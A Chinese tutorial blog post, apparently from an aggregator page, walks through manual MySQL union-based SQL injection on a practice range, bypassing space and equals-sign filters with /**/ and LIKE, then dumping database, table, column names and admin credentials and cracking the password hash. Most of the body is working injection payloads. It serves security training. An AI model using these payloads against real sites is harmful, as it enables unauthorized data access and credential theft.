当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

第一步,判断注入点。

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

所以咱们构造如下语句。

/**/and/**/1/**/like/**/1

结果如下图,页面正常显示。

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

第二步,判断字段数。

通过 order by语句,咱们构造如下语句

/**/order/**/by/**/4

页面正常显示,如下图。

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

第三步,判断回显位置。

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

结果如下图,我们发现,2,3,两个位置回显到页面上了。

第四步,爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

/**/union/**/select/**/1,database(),3,4/**/#

结果去下图。咱们爆出了数据库名。

第五步,爆表。

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

结果去下图,咱们爆出了两个表。

第六步,爆字段。

接下来咱们构造如下语句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

然后咱们发现了name,password,两个字段,如下图。

第七步,爆账号密码。

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

结果如下图,查询出了管理员账号,密码。

第八步,解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。

第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。

第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

第五步,爆字段。构造语句 ​ 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陆。​

MySQL手工注入进阶篇——突破过滤危险字符问题的更多相关文章

  1. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  4. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. PHP过滤指定字符串,过滤危险字符

    安全过滤函数,用于过滤危险字符 function safe_replace($string) {  $string = str_replace(' ','',$string);  $string = ...

  7. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  8. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  9. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

随机推荐

  1. 第六章、Vue项目预热

    6-5. (1). (2).引入reset.css及border.css (3).解决手机点击延迟300ms的问题 a.安装 b.引入fastclick 6-2.项目的整体架构 src--->整 ...

  2. 使用 ALSAlib 播放 wav

    在 ARM 2440 开发板上正常播放 16bit  44100 采样率的wav , 为了程序简单,没有判断返回值. 补充,在 ubunto 上也能正常播放. 编译方法: arm-linux-gcc ...

  3. java面试题汇总四

    第三部分 Java SE基础 3.1 java多线程 3.1.1 线程的实现方式,怎么启动线程怎么区分线程? 1.线程的实现方式: 有 4 种方式可以用来创建线程: 2.继承 Thread 类   2 ...

  4. Java反射之数组的反射应用

    上一篇我们说了Java反射之成员方法的反射 这一篇我们说一说数组的反射应用,数组的有长度等属性,所以也会有相应的方法获得这些属性,这里我们不一一列举哪些方法.我们来了解反射包中的一个类----Arra ...

  5. 手把手构建LSTM的向前传播(Building a LSTM step by step)

      本篇是在之前两篇基础上接着写的: 吴恩达deepLearning.ai循环神经网络RNN学习笔记(理论篇) 从头构建循环神经网络RNN的向前传播(rnn in pure python) 也可以不看 ...

  6. defer 链如何被遍历

    去年开始写文章的第一篇就是关于 defer,名字比较文艺:<Golang 之轻松化解 defer 的温柔陷阱>,还被吐槽了.因为这篇文章,到<Go 夜读>讲了一期.不过当时纯粹 ...

  7. Git 的简单使用及ssh配置问题-赖大大

    软件安装 第一步当然是安装啦. 官方网址:https://git-scm.com/ 具体操作 在你本地电脑的文件夹里右击鼠标,选Git base here 显然,你是在本地仓库的master分支上,通 ...

  8. 二维数组及Arrays工具类

    1.二维数组 概念: 数组中的每一个元素类型都是一维数组 二维数组初始化方式: 静态初始化: 格式: 元素类型[][] 数组名 = new 元素类型[][]{{一维数组1},{一维数组2},{一维数组 ...

  9. Linux vi编辑的常用的操作备忘

    1 复制 1) 单行复制 在命令模式下,将光标移动到将要复制的行处,按"yy"进行复制: 2) 多行复制 在命令模式下,将光标移动到将要复制的首行处,按"nyy" ...

  10. input标签的accept属性、JQuery绑定keyDown事件

    一. input标签的accept属性 当我们上传文件或者注册上传头像时,我们可以一般都是使用: <input type="file" id="my_file&qu ...